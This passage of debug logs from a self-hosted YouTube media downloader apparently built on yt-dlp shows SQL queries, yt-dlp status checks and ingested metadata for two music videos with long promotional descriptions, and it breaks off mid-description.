s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:30.386 [debug] QUERY OK source="sources" db=0.3ms idle=126.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:30.386 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:30.386 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:30.387 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190] 22:21:30.387 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [194] 22:21:30.387 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [190] 22:21:30.387 [debug] QUERY OK source="media_metadata" db=0.1ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [194] 22:21:30.387 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:30.388 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:30.388 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.388 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.388 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:30.388 [debug] Running yt-dlp command for action: get_downloadable_status 22:21:30.389 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.389 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.389 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.389 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.389 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.390 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:21:30.390 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vgldRamTEBI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cc/b4/ccb4ee38cd3b35ec0418613a954778d8f599f79264c49c442daa3fd69871afb5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:30.390 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=vF9r6CoZgnQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/40/85/40855802335d1a0d6b49547052488dfefa6b37b8c8d1ed92b1246f1a684f039d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:21:30.530 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "duration" => 210, "filename" => "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", "id" => "lJ_TSjn-khU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lJ_TSjn-khU", "playlist_index" => 2, "timestamp" => 1543147207, "title" => "Neovaii - Chase Pop", "upload_date" => "20181125"} 22:21:30.531 [debug] QUERY OK source="sources" db=0.3ms idle=141.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:21:30.532 [debug] QUERY OK source="sources" db=0.2ms idle=142.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:30.532 [debug] QUERY OK source="media_items" db=0.2ms idle=142.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-25 12:00:07Z], 1] 22:21:30.748 [debug] QUERY OK source="media_items" db=215.6ms idle=142.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "20a846d5-69b6-4002-8e35-9beeb436fa1b", false, "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", 2, "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, false, 1, [], 1, ~U[2018-11-25 12:00:07Z], ~U[2026-07-24 02:21:30Z], ~U[2026-07-24 02:21:30Z], "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, 1, ~U[2018-11-25 12:00:07Z]] 22:21:30.749 [debug] QUERY OK source="sources" db=0.3ms idle=358.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:30.749 [debug] QUERY OK source="media_profiles" db=0.1ms idle=217.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:30.750 [debug] QUERY OK source="media_items" db=0.2ms idle=217.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 22:21:30.750 [debug] Current batch of media processed. Will check again in 1000ms 22:21:30.918 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Спасибо, что слушаете! Если трек зашел - ставьте лайк, подписывайтесь и жмите колокольчик. Ваша поддержка вдохновляет Нас на новые релизы! 💜\n\n▶️ Spotify: https://tinyurl.com/exteamspotify\n▶️ Deezer: https://tinyurl.com/exteamdeezer\n▶️ Apple Music: https://tinyurl.com/exteamapple\n▶️ Yandex Music: https://tinyurl.com/exteamyamus\n\n🍪 Поддержка 1: https://www.donationalerts.com/r/exteamoff\n🍪 Поддержка 2: ---\n📲 Telegram: https://t.me/ExTeamOff\n\n🔍 Источники артов:\n🎨 https://wallpaperwaifu.com/\n🎨 https://motionbgs.com/\n🎨 https://moewalls.com/\n🎨 https://mylivewallpapers.com/\n🎨 Wallpaper Engine (Steam version)\n\n📹 Видео создано с помощью: https://vizzy.io | Автор: ExTeam\n\n_________________________________________\n\n🤝 ИСПОЛЬЗОВАНИЕ МУЗЫКИ / USAGE\nМы рады, если наша музыка вдохновляет вас! Вы можете свободно использовать этот трек в своих видео (YouTube, TikTok и др.).\n\n✅ Условие: Пожалуйста, укажите название трека и ссылку на это видео в описании.\n✅ Пример оформления: Музыка: ExTeam - [Название трека] | Ссылка: [Ссылка на это видео]\n\n📢 ВАЖНО ПРО CONTENT ID:\nНаши треки (Кроме музыки с припиской \"Free Use\") официально защищены. При использовании музыки вы можете получить уведомление об авторских правах (Claim).\nНе пугайтесь - это НЕ страйк! Вашему каналу и видео ничего не угрожает. Это лишь означает, что монетизация с этого ролика будет идти в поддержку Проекта (ExTeam).\n\n(Просьба не перезаливать сам трек как собственное музыкальное произведение - давайте уважать труд друг друга).\n\n✉️ Для коммерческих запросов (реклама, кино, игры) и покупки лицензии пишите на: exaellateam@gmail.com\n\n_________________________________________\n\n⚠️ Авторские права на изображения:\nАрты в видео взяты из открытых источников и принадлежат их талантливым авторам. Если вы являетесь автором арта и хотите обсудить его использование или удаление - напишите нам на exaellateam@gmail.com, мы оперативно решим вопрос.\n\n⚠️ Примечание / Note:\nПрошлый никнейм: ExTeam『 ExaellaTeam 』(находится под защитой авторских прав).\nPrevious Nickname: ExTeam『 ExaellaTeam 』(Copyrighted).\n\nСпасибо, что уважаете Наш труд и делитесь творчеством правильно! 💙", "duration" => 190, "filename" => "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ].m4a", "id" => "xc752NfJ6tQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xc752NfJ6tQ", "playlist_index" => 44, "timestamp" => 1764338513, "title" => "Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K", "upload_date" => "20251128"} 22:21:30.919 [debug] QUERY OK source="sources" db=0.3ms idle=386.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:30.919 [debug] QUERY OK source="sources" db=0.1ms idle=171.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:30.920 [debug] QUERY OK source="media_items" db=0.2ms idle=170.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 14:01:53Z], 4] 22:21:31.151 [debug] QUERY OK source="media_items" db=231.0ms idle=170.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Спасибо, что слушаете! Если трек зашел - ставьте лайк, подписывайтесь и жмите колокольчик. Ваша поддержка вдохновляет Нас на новые релизы! 💜\n\n▶️ Spotify: https://tinyurl.com/exteamspotify\n▶️ Deezer: https://tinyurl.com/exteamdeezer\n▶️ Apple Music: https://tinyurl.com/exteamapple\n▶️ Yandex Music: https://tinyurl.com/exteamyamus\n\n🍪 Поддержка 1: https://www.donationalerts.com/r/exteamoff\n🍪 Поддержка 2: ---\n📲 Telegram: https://t.me/ExTeamOff\n\n🔍 Источники артов:\n🎨 https://wallpaperwaifu.com/\n🎨 https://motionbgs.com/\n🎨 https://moewalls.com/\n🎨 https://mylivewallpapers.com/\n🎨 Wallpaper Engine (Steam version)\n\n📹 Видео создано с помощью: https://vizzy.io | Автор: ExTeam\n\n_________________________________________\n\n🤝 ИСПОЛЬЗОВАНИЕ МУЗЫКИ / USAGE\nМы рады, если наша музыка вдохновляет вас! Вы можете свободно использовать этот трек в своих видео (YouTube, TikTok и др.).\n\n✅ Условие: Пожалуйста, укажите название трека и ссылку на это видео в описании.\n✅ Пример оформления: Музыка: ExTeam - [Название трека] | Ссылка: [Ссылка на это видео]\n\n📢 ВАЖНО ПРО CONTENT ID:\nНаши треки (Кроме музыки с припиской \"Free Use\") официально защищены. При использовании музыки вы можете получить уведомление об авторских правах (Claim).\nНе пугайтесь - это НЕ страйк! Вашему каналу и видео ничего не угрожает. Это лишь означает, что монетизация с этого ролика будет идти в поддержку Проекта (ExTeam).\n\n(Просьба не перезаливать сам трек как собственное музыкальное произведение - давайте уважать труд друг друга).\n\n✉️ Для коммерческих запросов (реклама, кино, игры) и покупки лицензии пишите на: exaellateam@gmail.com\n\n_________________________________________\n\n⚠️ Авторские права на изображения:\nАрты в видео взяты из открытых источников и принадлежат их талантливым авторам. Если вы являетесь автором арта и хотите обсудить его использование или удаление - напишите нам на exaellateam@gmail.com, мы оперативно решим вопрос.\n\n⚠️ Примечание / Note:\nПрошлый никнейм: ExTeam『 ExaellaTeam 』(находится под защитой авторских прав).\nPrevious Nickname: ExTeam『 ExaellaTeam 』(Copyrighted).\n\nСпасибо, что уважаете Наш труд и делитесь творчеством правильно! 💙", "Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K", "cf3cf4fe-e193-4f20-9a2d-f14a9cc0a172", false, "xc752NfJ6tQ", 190, false, "https://www.youtube.com/watch?v=xc752NfJ6tQ", 44, "/downloads/Grift/Grift/2025-11-28Серый Марш『 ExTeam 』- Official Track | Lyrics | 2K[xc752NfJ6tQ].m4a", false, false, 4, [], 1, ~U[2025-11-28 14:01:53Z], ~U[2026-07-24 02:21:30Z], ~U[2026-07-24 02:21:30Z], "Спасибо, что слушаете! Если трек зашел - ставьте лайк, подписывайтесь и жмите колокольчик. Ваша поддержка вдохновляет Нас на новые релизы! 💜\n\n▶️ Spotify: https://tinyurl.com/exteamspotify\n▶️ Deezer: https://tinyurl.com/exteamdeezer\n▶️ Apple Music: https://tinyurl.com/exteamapple\n▶️ Yandex Music: https://tinyurl.com/exteamyamus\n\n🍪 Поддержка 1: https://www.donationalerts.com/r/exteamoff\n🍪 Поддержка 2: ---\n📲 Telegram: https://t.me/ExTeamOff\n\n🔍 Источники артов:\n🎨 https://wallpaperwaifu.com/\n🎨 https://motionbgs.com/\n🎨 https://moewalls.com/\n🎨 https://mylivewallpapers.com/\n🎨 Wallpaper Engine (Steam version)\n\n📹 Видео создано с помощью: https://vizzy.io | Автор: ExTeam\n\n_________________________________________\n\n🤝 ИСПОЛЬЗОВАНИЕ МУЗЫКИ / USAGE\nМы рады, если наша музыка вдохновляет вас! Вы можете свободно использовать этот трек в своих видео (YouTube, TikTok и др.).\n\n✅ Условие: Пожалуйста, укажите название трека и ссылку на это видео в описании.\n✅ Пример оформления: Музыка: ExTeam - [Название трека] | Ссылка: [Ссылка на это видео]\n\n📢 ВАЖНО ПРО CONTENT ID:\nНаши треки 